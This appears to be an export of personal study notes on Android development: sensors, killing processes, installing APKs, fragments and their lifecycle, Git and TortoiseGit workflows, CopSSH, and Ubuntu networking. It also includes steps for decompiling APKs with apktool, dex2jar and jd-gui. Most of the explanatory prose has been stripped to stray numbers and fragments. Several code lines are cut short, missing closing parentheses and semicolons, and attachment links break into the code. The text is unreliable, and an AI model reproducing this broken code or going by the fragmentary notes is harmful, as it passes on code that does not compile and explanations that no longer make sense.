																				float	z	=	event.values[SensorManager.DATA_Z];		
												switch	(event.sensor.getType())	{
												case	Sensor.TYPE_ACCELEROMETER:
																accelerometer.setText("Accelerometer	Sensor:	"	+	x	+	",	"	+	y	+	",	"	+	z
																break;
												case	Sensor.TYPE_ORIENTATION:
																/*x0North90East180South270West



																		x4
																
																yXy-180≤y	≤180
																y0
																0-55X180
																y0-180y
																-180X180y0180
																y180yz
																
																zYY-90≤z≤90
																z0
																zz-90z
																z90z-9090
																*/
																orientation.setText("Orientation	Sensor:	"	+	x	+	",	"	+	y	+	",	"	+	z);	
																break;
												}
								}								
								@Override
								public	void	onAccuracyChanged(Sensor	sensor,	int	accuracy)	{//								
								}
				};
}
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<TextView	
				android:layout_width="wrap_content"	
				android:layout_height="wrap_content"
				android:text="" 	
				android:textColor="#330000"



				android:background="@drawable/button"/>



2014/6/8		17:01:42
android

id
android.os.Process.killProcess(android.os.Process.myPid())

Java	
System.exit(0);
	
ActivityManager	activityManager	=	(ActivityManager)	this.getSystemService(ACTIVITY_SERVICE
activityManager.killBackgroundProcesses("cn.zengfansheng.progresskill");
	 <uses-permission	android:name="android.permission.KILL_BACKGROUND_PROCESSES"

1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
			android:orientation="vertical"	>
				<Button
								android:onClick="killself"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="" 	/>
				<Button
								android:onClick="killother"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="" 	/>
</LinearLayout>
2
package	cn.zengfansheng.killproc;
import	android.app.Activity;
import	android.app.ActivityManager;
import	android.os.Bundle;
import	android.view.View;
public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);

wiz:open_attachment?guid=d387136c-ca22-45fb-861f-df7eb8267805


								setContentView(R.layout.activity_main);
				}
				/**
					*	TODO	1,
					*	@param	view
					*/
				public	void	killself(View	view)	{
								android.os.Process.killProcess(android.os.Process.myPid());
								//	System.exit(0);//
								System.out.println("" );
				}
				
				/**
					*	TODO	2
					*	@param	view
					*/
				public	void	killother(View	view)	{
								ActivityManager	activityManager	=	(ActivityManager)	this.getSystemService(ACTIVITY_SERVICE
								activityManager.killBackgroundProcesses("cn.zengfansheng.progresskill");
								System.out.println("" );
				}
}



APK	

APK	E:\android4.2aosp_jb422\packages\apps\PackageInstaller	
<requestFocus/>	

//	
//intent.setData(Uri.fromFile(new	File(path)));//This	method	automatically	clears	any	type	that	was	previously	set	by	setType	or	setTypeAndNormalize.	
//intent.setType("application/vnd.android.package-archive");//This	method	automatically	clears	any	data	that	was	previously	set	(for	example	by	setData).

intent.setDataAndType(Uri.fromFile(new	File(path)),	"application/vnd.android.package-archive"

1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical">
				<EditText
								android:id="@+id/et_path"
								android:hint="apk"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:text="/mnt/sdcard/camera.apk"
								>
								<requestFocus	/>
				</EditText>
				<Button
								android:onClick="install"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="" 	/>
</LinearLayout>
2
package	cn.zengfansheng.apkInstaller;
import	java.io.File;
import	android.annotation.SuppressLint;
import	android.app.Activity;
import	android.content.Intent;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.EditText;

wiz:open_attachment?guid=d6fc6e0f-90c0-4dbf-b406-4c93d430cee6


public	class	MainActivity	extends	Activity	{
				private	EditText	et_path;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								et_path	=	(EditText)	this.findViewById(R.id.et_path);
				}
				/**
					*	TODO	
					*	@param	view
					*/
				@SuppressLint("InlinedApi")
				public	void	install(View	view){
								//	<intent-filter>
								//	<action	android:name="android.intent.action.VIEW"	/>
								//	<action	android:name="android.intent.action.INSTALL_PACKAGE"	/>
								//	<category	android:name="android.intent.category.DEFAULT"	/>
								//	<data	android:scheme="file"	/>
								//	<data	android:mimeType="application/vnd.android.package-archive"	/>
								//	</intent-filter>
								
								String	path	=	et_path.getText().toString();

								//	PackageInstaller
								Intent	intent	=	new	Intent();
								intent.setAction(Intent.ACTION_INSTALL_PACKAGE);//	"android.intent.action.INSTALL_PACKAGE"
								intent.addCategory(Intent.CATEGORY_DEFAULT);

								//	
								//intent.setData(Uri.fromFile(new	File(path)));//This	method	automatically	clears	any	type	that	was	previously	set	by	setType	or	setTypeAndNormalize.	
								//intent.setType("application/vnd.android.package-
archive");//This	method	automatically	clears	any	data	that	was	previously	set	(for	example	by	setData).	
								intent.setDataAndType(Uri.fromFile(new	File(path)),	"application/vnd.android.package-archive"
								startActivity(intent);
				}
}



apk
Apktool 1 lApkTool Java
JRE1.6

1>	 http://code.google.com/p/android-apktool/
					apktool1.3.2.tar.bz2	apktool-install-windows-2.2_r01-3.tar.bz2	
					c:\apktool
2>	PATHaapt.exe;c:\apktool\aapt.exe
3>	DOSapktool.jar

						DOSapktool	d	-s	c:\soft\xxx.apk	c:\soft\source
					apktool	d	[opts]	<file.apk>	[dir]		d[opts]-s

Dex2Jar
2Apktoolsmali Dex2Jar
					dexjarjavadexjar
					 http://code.google.com/p/dex2jar/	
						1>	APKclasses.dexc:\soft
						2>	DOSdex2jar.batDOSdex2jar.bat	c:\soft\source\classes.dex	c:\soft\source,
classes.dex.dex2jar.jar
jd-gui
3 jd-guijarJava
						 http://java.decompiler.free.fr/jd-gui/downloads/jd-gui-0.3.3.windows.zip
				classes.dex.dex2jar.jarjava

1apktool
https://code.google.com/p/android-apktool/downloads/list	
aapktool1.5.2.tar.bz2apktool-install-windows-r05-ibot.tar.bz2

b

	

	 	
c apktool	d	[opts]	<file.apk>	[dir]		d[opts]-s

AndroidManifest.xmlphone_ui.xml
cmd>	apktool	d	-s		phone.apk			./phone
d

http://code.google.com/p/android-apktool/
http://code.google.com/p/dex2jar/%A0
http://java.decompiler.free.fr/jd-gui/downloads/jd-gui-0.3.3.windows.zip
https://code.google.com/p/android-apktool/downloads/list
wiz:open_attachment?guid=2989514b-ecb1-4547-99a1-e18c39a15021
wiz:open_attachment?guid=263fe312-42e7-46e4-89e0-e2e5bcbf2e45


	

2Dex2Jar
apktoolclasses.dex classes.dexclasses_dex2jar.jar
https://code.google.com/p/dex2jar/downloads/detail?name=dex2jar-0.0.9.15.zip

	
cmd>dex2jar			classes.dex

classes_dex2jar.jar
3 jd-gui
Dex2Jarclasses_dex2jar.jarjd-guijava

				

					apktool1.4.1.tar.bz2							jar
					apktool-install-windows-r04-brut1.tar.bz2			windowsjar	exe
					
				1	 apktool1.4.1apktool.jarapktool-install-windows-r04-brut1

						 	
apk

				cmd	
				>	apktool	d	-s	queryNumber.apk		./source	source

							 	
					
					2dex2jar-0.0.7.11-SNAPSHOT.zipclasses.dex

https://code.google.com/p/dex2jar/downloads/detail?name=dex2jar-0.0.9.15.zip
wiz:open_attachment?guid=7869a84a-f90e-4949-82a4-739c47f2ed95
wiz:open_attachment?guid=e991f82e-8bbd-4b44-bc6e-7f4643dbbdff


					>	dex2jar	class.dex

					 classes_dex2jar.jar		 	
					.class

							 	
					
						3jd-gui.execlasses_dex2jar.jarjd-gui
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fragment

fragment
1
fragmentActivity
2Viewfragment
3nameFragmentonCreateView()View

1
2main.xmlfragment
3fragmentonCreateView()inflateview

1
a)	/res/layout/fragment1.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:gravity="center"
				android:background="#00ff00"
				android:orientation="vertical"	>
				<TextView
								android:id="@+id/textView1"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="fragment1"/>
</LinearLayout>
b)	/res/layout/fragment2.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:gravity="center"
				android:background="@android:color/black"
				android:orientation="vertical"	>
				<TextView
								android:id="@+id/textView1"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="fragment2"
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								android:textColor="#ff0000"
								/>
</LinearLayout>
c)	/res/layout/activity_main.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="horizontal"	>
				<fragment	android:name="cn.zengfansheng.fragment.Fragment1"
								android:id="@+id/fragment1"
								android:layout_height="match_parent"
								android:layout_weight="1"
								android:layout_width="0dp"
								/>
				<fragment	android:name="cn.zengfansheng.fragment.Fragment2"
								android:id="@+id/fragment2"
								android:layout_height="match_parent"
								android:layout_weight="1"
								android:layout_width="0dp"
								/>
</LinearLayout>
2
a)	Fragment1.java
package	cn.zengfansheng.fragment;
import	android.app.Fragment;
import	android.os.Bundle;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.ViewGroup;
public	class	Fragment1	extends	Fragment	{
				@Override
				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,
												Bundle	savedInstanceState)	{
								return	inflater.inflate(R.layout.fragment1,	null);
				}
}
b)	Fragment2.java
package	cn.zengfansheng.fragment;
import	android.app.Fragment;
import	android.os.Bundle;
import	android.view.LayoutInflater;



import	android.view.View;
import	android.view.ViewGroup;
public	class	Fragment2	extends	Fragment	{
				@Override
				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,
												Bundle	savedInstanceState)	{
								return	inflater.inflate(R.layout.fragment2,	null);
				}
}
c)	MainActivity.java
package	cn.zengfansheng.fragment;

import	android.os.Bundle;

import	android.app.Activity;

import	android.view.Menu;

public	class	MainActivity	extends	Activity	{

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

				}

				@Override

				public	boolean	onCreateOptionsMenu(Menu	menu)	{

								//	Inflate	the	menu;	this	adds	items	to	the	action	bar	if	it	is

present.

								getMenuInflater().inflate(R.menu.main,	menu);

								return	true;

				}

}

3



return
public	class	Fragment1	extends	Fragment	{
				@Override
				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,
												Bundle	savedInstanceState)	{
								return	inflater.inflate(R.layout.fragment1,	null);
				}
}		



fragment	

fragmenthorizontal	:fragmentvertical
android.R.id.content	Activityid()

1	
a)	/res/layout/fragment_horizontal.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:gravity="center"
				android:orientation="vertical"	>
				<Button
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="fragment" 	/>
</LinearLayout>
b)	/res/layout/fragment_vertical.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:gravity="center"
				android:orientation="vertical"	>
				<Button
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="fragment" 	/>
</LinearLayout>
c)	/res/layout/activity_main.xml
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="horizontal">
</LinearLayout>
2	
a)	FragmentHorizontal.java
package	cn.zengfansheng.dynamicfragment;

wiz:open_attachment?guid=381c5434-217d-4cc8-b7c8-c9df2a758247


import	android.app.Fragment;
import	android.os.Bundle;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.ViewGroup;

public	class	FragmentHorizontal	extends	Fragment	{
				@Override
				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,
												Bundle	savedInstanceState)	{
								return	inflater.inflate(R.layout.fragment_vertical,	null);
				}
}
b)	FragmentVertical.java
package	cn.zengfansheng.dynamicfragment;
import	android.app.Fragment;
import	android.os.Bundle;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.ViewGroup;

public	class	FragmentVertical	extends	Fragment	{
				@Override
				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,
												Bundle	savedInstanceState)	{
								return	inflater.inflate(R.layout.fragment_horizontal,	null);
				}
}
c)	MainActivity.java
package	cn.zengfansheng.dynamicfragment;
import	android.app.Activity;
import	android.app.FragmentManager;
import	android.app.FragmentTransaction;
import	android.os.Bundle;
import	android.view.Display;
import	android.view.WindowManager;
public	class	MainActivity	extends	Activity	{
				@SuppressWarnings("deprecation")
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);



								//	 fragmenthorizontal	: fragmentvertical

								//	1FragmentManager
								FragmentManager	fragmentManager	=	this.getFragmentManager();

								//	2
								FragmentTransaction	fragmentTransaction	=	fragmentManager.beginTransaction();

								//	3
								WindowManager	windowManager	=	this.getWindowManager();
								Display	defaultDisplay	=	windowManager.getDefaultDisplay();
								int	windowWidth	=	defaultDisplay.getWidth();
								int	windowHeight	=	defaultDisplay.getHeight();
								
								//	4
								if	(windowWidth>windowHeight)	{//
												//fragmenthorizontal
												fragmentTransaction.replace(android.R.id.content,	new	FragmentHorizontal());
								}else	{//
												//fragmentvertical
												fragmentTransaction.replace(android.R.id.content,	new	FragmentVertical(),	null);
								}
								
								//	5
								fragmentTransaction.commit();
				}
}
3	
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2
3

1
2Fragment
3MainActivity
package	cn.zengfansheng.news163Sort;
	
import	android.annotation.SuppressLint;
import	android.app.Activity;
import	android.app.FragmentManager;
import	android.app.FragmentTransaction;
import	android.os.Bundle;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.widget.TextView;
	
public	class	MainActivity	extends	Activity	implements	OnClickListener	{
	
				private	TextView	tv_out;
				private	TextView	tv_in;
				private	TextView	tv_nows;
	
				@SuppressLint("NewApi")
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								tv_out	=	(TextView)	this.findViewById(R.id.news_international);
								tv_in	=	(TextView)	this.findViewById(R.id.news_inland);
								tv_nows	=	(TextView)	this.findViewById(R.id.news_nows);
	
								tv_out.setOnClickListener(this);
								tv_in.setOnClickListener(this);
								tv_nows.setOnClickListener(this);
	
								//
								FragmentManager	fragmentManager	=	this.getFragmentManager();
								FragmentTransaction	beginTransaction	=	fragmentManager.beginTransaction();
								beginTransaction.replace(R.id.ll_content,	new	OutFragment());
								beginTransaction.commit();
				}
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				@SuppressLint("NewApi")
				@Override
				public	void	onClick(View	v)	{
	
								FragmentManager	fragmentManager	=	this.getFragmentManager();
								FragmentTransaction	fragmentTransaction	=	fragmentManager.beginTransaction();
	
								switch	(v.getId())	{
	
								case	R.id.news_international:
												fragmentTransaction.replace(R.id.ll_content,	new	OutFragment());
												//	ll_contentnew	OutFragment()
												break;
	
								case	R.id.news_inland:
												fragmentTransaction.replace(R.id.ll_content,	new	InFragment());
												break;
	
								case	R.id.news_nows:
												fragmentTransaction.replace(R.id.ll_content,	new	NowsFragment());
												break;
								}
								fragmentTransaction.commit();
				}
	
}

4



-fragment

fragmentandoid3.0(api11)
1project.properties	
target=android-8	android2.2

2android1.6
<uses-sdk
				android:minSdkVersion="5"
				android:targetSdkVersion="18"	/>

3 @SuppressLint("NewApi") import	android.support.v4.app.Fragment;

4 public	class	MainActivity	extends	Activity
public	class	MainActivity	extends	FragmentActivity

5 FragmentManager	fragmentManager	=	this.getFragmentManager();
FragmentManager	fragmentManager	=	this.getSupportFragmentManager();

6resmenu

wiz:open_attachment?guid=4322dbf6-f5a2-485d-8a9f-532d05e3b9a6




fragment	

fragment	

	
10-23	14:29:00.158:	I/System.out(7773):	1onAttach()		//1fragmentActivity
10-23	14:29:00.158:	I/System.out(7773):	2onCreate()		//2fragment
10-23	14:29:00.158:	I/System.out(7773):	3onCreateView()	//3viewfragment
10-23	14:29:00.158:	I/System.out(7773):	4onActivityCreated()	//4Activity
10-23	14:29:00.158:	I/System.out(7773):	5onStart()	//5fragment
10-23	14:29:00.158:	I/System.out(7773):	6onResume()	//6fragment
	
10-23	14:29:11.390:	I/System.out(7773):	7onPause()	//7fragment
10-23	14:29:12.630:	I/System.out(7773):	8onStop()	//8fragment
10-23	14:29:12.630:	I/System.out(7773):	9onDestroyView()	//	9fragment
10-23	14:29:12.630:	I/System.out(7773):	10onDestroy()	//10fragment
10-23	14:29:12.630:	I/System.out(7773):	11onDetach()	//11fragmentActivity

package	cn.zengfansheng.fragmentLifecycle;
import	android.app.Activity;
import	android.os.Bundle;
import	android.support.v4.app.Fragment;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.ViewGroup;
//
public	class	FragmentLifecycle	extends	Fragment	{
				@Override
				public	void	onAttach(Activity	activity)	{
								super.onAttach(activity);
								System.out.println("1onAttach()" );
				}
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								System.out.println("2onCreate()" );
				}
				@Override
				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,
												Bundle	savedInstanceState)	{
								System.out.println("3onCreateView()" );
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								return	super.onCreateView(inflater,	container,	savedInstanceState);
				}
				@Override
				public	void	onActivityCreated(Bundle	savedInstanceState)	{
								super.onActivityCreated(savedInstanceState);
								System.out.println("4onActivityCreated()" );
				}
				@Override
				public	void	onStart()	{
								super.onStart();
								System.out.println("5onStart()" );
				}
				@Override
				public	void	onResume()	{
								super.onResume();
								System.out.println("6onResume()" );
				}
				@Override
				public	void	onPause()	{
								super.onPause();
								System.out.println("7onPause()" );
				}
				@Override
				public	void	onStop()	{
								super.onStop();
								System.out.println("8onStop()" );
				}
				@Override
				public	void	onDestroyView()	{
								super.onDestroyView();
								System.out.println("9onDestroyView()" );
				}
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
								System.out.println("10onDestroy()" );
				}
				@Override
				public	void	onDetach()	{
								super.onDetach();
								System.out.println("11onDetach()" );
				}



}

	
10-23	14:29:00.158:	I/System.out(7773):	1onAttach()		//1fragmentActivity
10-23	14:29:00.158:	I/System.out(7773):	2onCreate()		//2fragment
10-23	14:29:00.158:	I/System.out(7773):	3onCreateView()	//3viewfragment
10-23	14:29:00.158:	I/System.out(7773):	4onActivityCreated()	//4Activity
10-23	14:29:00.158:	I/System.out(7773):	5onStart()	//5fragment
10-23	14:29:00.158:	I/System.out(7773):	6onResume()	//6fragment
	
	
10-23	14:29:11.390:	I/System.out(7773):	7onPause()	//7fragment
10-23	14:29:12.630:	I/System.out(7773):	8onStop()	//8fragment
10-23	14:29:12.630:	I/System.out(7773):	9onDestroyView()	//	9fragment
10-23	14:29:12.630:	I/System.out(7773):	10onDestroy()	//10fragment
10-23	14:29:12.630:	I/System.out(7773):	11onDetach()	//11fragmentActivity



fragment	

1fragment fragmentActivity 	Activity	activity	=	getActivity();

2 	ActivityFragmentManager,idfragment2,
FragmentManager	fragmentManager	=	activity.getFragmentManager();
Fragment2	fragment2	=	(Fragment2)	fragmentManager.findFragmentById(R.id.fragment2
fragment2.setText("1" );

1
1	 Fragment1.java
package	cn.zengfansheng.fragmentCommunication;
	
import	android.app.Activity;
import	android.app.Fragment;
import	android.app.FragmentManager;
import	android.os.Bundle;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.view.ViewGroup;
import	android.widget.Button;
	
public	class	Fragment1	extends	Fragment	{
	
				@Override
				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,
												Bundle	savedInstanceState)	{
	
								View	view	=	inflater.inflate(R.layout.fragment1,	null);
								//	1viewbutton
								Button	bt1	=	(Button)	view.findViewById(R.id.click1);
								Button	bt2	=	(Button)	view.findViewById(R.id.click2);
	
								//	2
								bt1.setOnClickListener(new	OnClickListener()	{
	
												@Override
												public	void	onClick(View	v)	{
																System.out.println("1" );
																//	
	
																//	3fragment2fragmentActivity
																Activity	activity	=	getActivity();
	
																//	4ActivityFragmentManager,idfragment2,
																FragmentManager	fragmentManager	=	activity.getFragmentManager();
																Fragment2	fragment2	=	(Fragment2)	fragmentManager.findFragmentById(R.id.fragment2);
																fragment2.setText("1" );
												}
								});

wiz:open_attachment?guid=599d20d4-2098-457b-94ed-6771c56d7128


								bt2.setOnClickListener(new	OnClickListener()	{
	
												@Override
												public	void	onClick(View	v)	{
																System.out.println("2" );
																//	3fragment2fragmentActivity
																Activity	activity	=	getActivity();
	
																//	4ActivityFragmentManager,idfragment2,
																FragmentManager	fragmentManager	=	activity.getFragmentManager();
																Fragment2	fragment2	=	(Fragment2)	fragmentManager.findFragmentById(R.id.fragment2);
																fragment2.setText("2" );
												}
								});
								return	view;
				}
}

2 Fragment2.java
package	cn.zengfansheng.fragmentCommunication;
	
import	android.app.Fragment;
import	android.os.Bundle;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.TextView;
	
public	class	Fragment2	extends	Fragment	{
	
				private	TextView	tv;
				@Override
				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,
												Bundle	savedInstanceState)	{
	
								View	view	=	inflater.inflate(R.layout.fragment2,	null);
								//	fragmentFragment2
								tv	=	(TextView)	view.findViewById(R.id.tv);
								return	view;
				}
	
				/**
					*	fragment2TextView
					*	@param	info
					*/
				public	void	setText(String	info)	{
								tv.setText(info);
				}
}

2



	





fragment	

1fragment,fragment
ui	,
UI	,

2fragment
activity_main.xmlfragment(nameid)

fragmentManager
3fragment
MainActivity	extends	FragmentActivity		
this.getSupportFragmentManager();		
import	android.support.v4.app.Fragment;
4fragment
<fragment/>
5fragment
fragment
FragmentManager	fragmentManager	=	this.getFragmentManager();
//	2
FragmentTransaction	fragmentTransaction	=	fragmentManager.beginTransaction();
fragmentTransaction.replace(android.R.id.content,	new	FragmentHorizontal());
fragmentTransaction.commit();
6fragment11
onAttach
onCreate
onCreateView
onActivityCreated
onStart
onResume
onPause
onSaveInstanceState
onStop
7fragmentactivity
fragmentActivity
//3fragment2fragmentActivity
Activity	activity	=	getActivity();
//	4ActivityFragmentManager,idfragment2,
FragmentManager	fragmentManager	=	activity.getFragmentManager();
Fragment2	fragment2	=	(Fragment2)	fragmentManager.findFragmentById(R.id.fragment2
8apidemo	api



	

1.	
2.	
3.	 BUG
4.	
5.	
6.	
7.	

(Revision	control)
	

1.	 GIT				CVS\SVN\GIT
2.	 GITWindows
3.	 Tortoisegit
4.	 GIT	Eclipse	
5.	 CopSSHGIT
6.	 GIT/
7.	 Android
8.	 GIT



Git	

GIT	

1.	 Linus2005BitKeeperLinuxLinusGit 	
2.	 GitLinux	kernelAndroid,	jQuery,	Ruby	on	RailsDebian…
3.	 EclipseGitSVN

GIT

1.	
2.	
3.	
4.	
5.	
6.	
7.	
8.	

GIT		

1

	



2-AndroidGoogle

	



Git	
https://code.google.com/p/msysgit/downloads/list?
q=full+installer+official+git	

GIT	

GIT

git	init	--bare	shared.git

HEAD
description:
config
info/exclude`										
objects/Git(commit,tree,blob,tag)
refs/
hooks/hook

https://code.google.com/p/msysgit/downloads/list?q=full+installer+official+git


pwd 	pwd

	
hacket
@hacket520	
~
GIT	
1git	config
				l--system/etc/gitconfig	
				l--global~/.gitconfig		
				l--.git/config
2()
				l--$	git	config		user.name	“user1"
				l--$	git	config		user.email		“user1@163.com”
3
				lecho	“*.txt”	>	.gitignore

1——
$	git	init	--bare	shared.git

	

2devp1()
a)	devp1
$	git	clone	/f/Git/GitRepository/shared.git/	.		()

wiz:open_attachment?guid=11756228-5904-4e28-bb3a-5d5b358742cf


	

b)	
$	git	config	user.name	"devp1"
$	git	config	user.email	"devp1@163.com"

	

c)	,.txt
$	echo	"*.txt"	>	.gitignore	

	

d)	
$	echo	"This	is	devp1	add	content...	"	>	index.jsp	

	

e)	
$	git	add	index.jsp
$	git	commit	-m	"devp1	add	the	file"

f)	



$	git	push	origin	master	

3devp2
a)	devp1	
$	git	clone	/f/Git/GitRepository/shared.git/	.		() 	

	

b)	index.jsp
$	vim	index.jsp			iinsertesc:wq

	
	
c)	
$	git	config	user.name	"devp2"
$	git	config	user.email	"devp2@sina.com"

	

d)	
$	echo	"*.txt"	>	.gitignore

	

e)	
$	git	add	index.jsp

	

$	git	commit	-m	"devp2	update	the	file"

	



f)	devp2
$	git	push	origin	master	

4devp1()
devp1
$	git	pull	

	



Git

git	log	--pretty=raw			repository
	
git	cat-file	-t	hash(6)			
git	cat-file	-p	hash			

1repository $	git	log	--pretty=raw	

	

2	
$	git	cat-file	-t	hash(6)



3	
$	git	cat-file	-p	hash(6)	

parent



parentparent





GIT( )	





Tortoisegit	

1

2clone





TortoiseGit

TortoiseGit(TortoiseSVN )

1Subversion

	

2

	

3



	

4svn:needs-lockSubversion

	

5Subversion

	

6

	

7

	



TortoiseGit

Email	

SVNSVNaddGitadd

1()add

	

2GitSVNGitAddCommitAddCommit

	

3



	

4



	

repository
a)	Pushrepository

	

b)	

c)	



	

devp4clonepush
a)	clone

	

b)	

	

c)	setnameemail

	

d)	Message



	

e)	



devp3pull

	

	



	



TortoiseGit

1user5user6,clone 	 	
2user5index.jsppush
3user6user5push

	
4user6pull

	

	

5
a)	TortoiseGit-Edit	conflicts



	
b)	3

	
BASE
LOCAL
REMOTE
c)



	
d)	TortoiseGit->Resolve

	



	
e)	Commit

	

	
f)	push





1customerbugbugpatchcommitpatch

2bugpatch
bugTortoiseGit->Create	Patch	Serial

	

	

3*.patch

	
a)	



	

bpatch



Egit

Egit	
eclipsegit

	

eclipseGit	
a)	clone

wiz:open_attachment?guid=b5f2b1b5-d650-42f5-8c31-6aa847439fca




	

Git	RepositoryGeneral	Project



	



clone

	



Egit	



Egitgit

JavaEEa)	

	

b)	

	
Team->+	Add	to	Index

c)	*

		 	
Team->Commit



message

d)	↑1



	

e)	
Team->Remote->Push



f)	pull





Egit

1user7	 a)	Team->Add	to	Index	
b)	Team	->	Commitmessage
c)	Team->Remote->Push	

2user8	
a)	Team->Add	to	Index
b)	Team	->	Commitmessage
c)	Team->Remote->Push	user7

d)	user8Team->Pull



e)	user8Team->Merge	Tool

	

	
f	Team->Add	to	Index
Team->Commit



Team->Remote->Push



CopSSH	

CopSSHgit
1.				F:\software\Git\libexec\git-coregit.exe	,	git-receive-pack.exe,	git-upload-
archive.exe,	git-upload-pack.exe	F:\software\ICW\bin
2.				F:\software\Git\bin\libiconv-2.dll	F:\software\ICW\bin
3.				CopSSH
	

Path	F:\software\Git\bin;F:\software\ICW\bin
cmdssh		windows@127.0.0.1	



CopSSHEclipse	

	

URI	:	ssh://hacket@127.0.0.1:22/F:/Git/GitRepository/shared.git	
TortoiseGitEclipse
.

http://ssh://hacket@127.0.0.1:22/F:/Git/GitRepository/shared.git




GitBranches

GIT
masterdevelop

				masterdevelop
				
Git



1



2

3hotFixBugtag



	
hotFixTag





Android		

AndroidGit160GerritRepoGitGit
ReporepogoogleAndroidPythonGit
														
GerritGitGerrit
													

Android
$repo	init	-u	git://android.git.kernel.org/platform/manifest.git
$	repo	sync	

http://source.android.com/source/downloading.html	
Installing	Repo
Repo	is	a	tool	that	makes	it	easier	to	work	with	Git	in	the	context	of
Android.	For	more	information	about	Repo,	see	the	Developingsection.

To	install	Repo:

1.	 Make	sure	you	have	a	bin/	directory	in	your	home	directory	and	that	it
is	included	in	your	path:
$	mkdir	~/bin

$	PATH=~/bin:$PATH

2.	 Download	the	Repo	tool	and	ensure	that	it	is	executable:
$	curl	http://commondatastorage.googleapis.com/git-repo-
downloads/repo	>	~/bin/repo
$	chmod	a+x	~/bin/repo

http://source.android.com/source/downloading.html
http://source.android.com/source/developing.html


Initializing	a	Repo	client



GIT	

CVSGIT
cvs2svn	2.1
cvs2git

SVNGIT
									git-svn



	puttyubuntu

Putty		Ubuntu	
PuttyUbuntu
1UbuntuSSHssh	dpkg	--list|grep	ssh
2SSH

a:	sudo	apt-get	install	openssh-server
(
yes	)

														b:	sudo	/etc/init.d/ssh	start(ssh)
									cps	–e|grep	ssh (ssh)
													d22	cat	/etc/ssh/sshd_config
																			 vi	/etc/ssh/sshd_config

3PuttyUbuntuUTF-8
Window	->	Translation	->		Remote	character	set:	UTF-8

4Session,UbuntuIP	22Open
dosping



Ubuntu	LinuxIP

http://www.cnblogs.com/empire/archive/2011/01/10/1931877.html


Ubuntu

1

2

aping	127.0.0.1

bping	

cping	hostname

3ifconfigDNSDefault	getwaySever

Linux

ubuntuip

1.blacklist.confIPV6 sudo	vi	/etc/modprobe.d/blacklist.conf

2.	blacklist	ipv6

cat	/etc/modprobe.d/blacklist.conf

3.IPeth0IP

sudo	ifconfig	eth0	192.168.2.1	netmask	255.255.255.0

4.

sudo	route	add	default	gw	192.168.2.254

5.DNS	/etc/resolv.confnameserver	DNS1		nameserver	DNS2	

6.ubuntusudo	reboot

sudo	/etc/init.d/networking	restart

7.IP

ifconfig

Ubuntu	Linux

Ubuntu	Linux/etc/network/interfaces

DHCPipauto	eth0



1.	DHCP

/etc/network/interfaces

sudo	vi	/etc/network/interfaces

eth0

#	The	primary	network	interface	-	use	DHCP	to	find	our	address

auto	eth0

iface	eth0	inet	dhcp

sudo	/etc/init.d/networking	restart

sudo	dhclient	eth0

2.	IP

/etc/network/interfaces

sudo	vi	/etc/network/interfaces

eth0

#	The	primary	network	interface

auto	eth0

iface	eth0	inet	static

address	192.168.2.1

gateway	192.168.2.254

netmask	255.255.255.0

#network	192.168.2.0

#broadcast	192.168.2.255

ip.

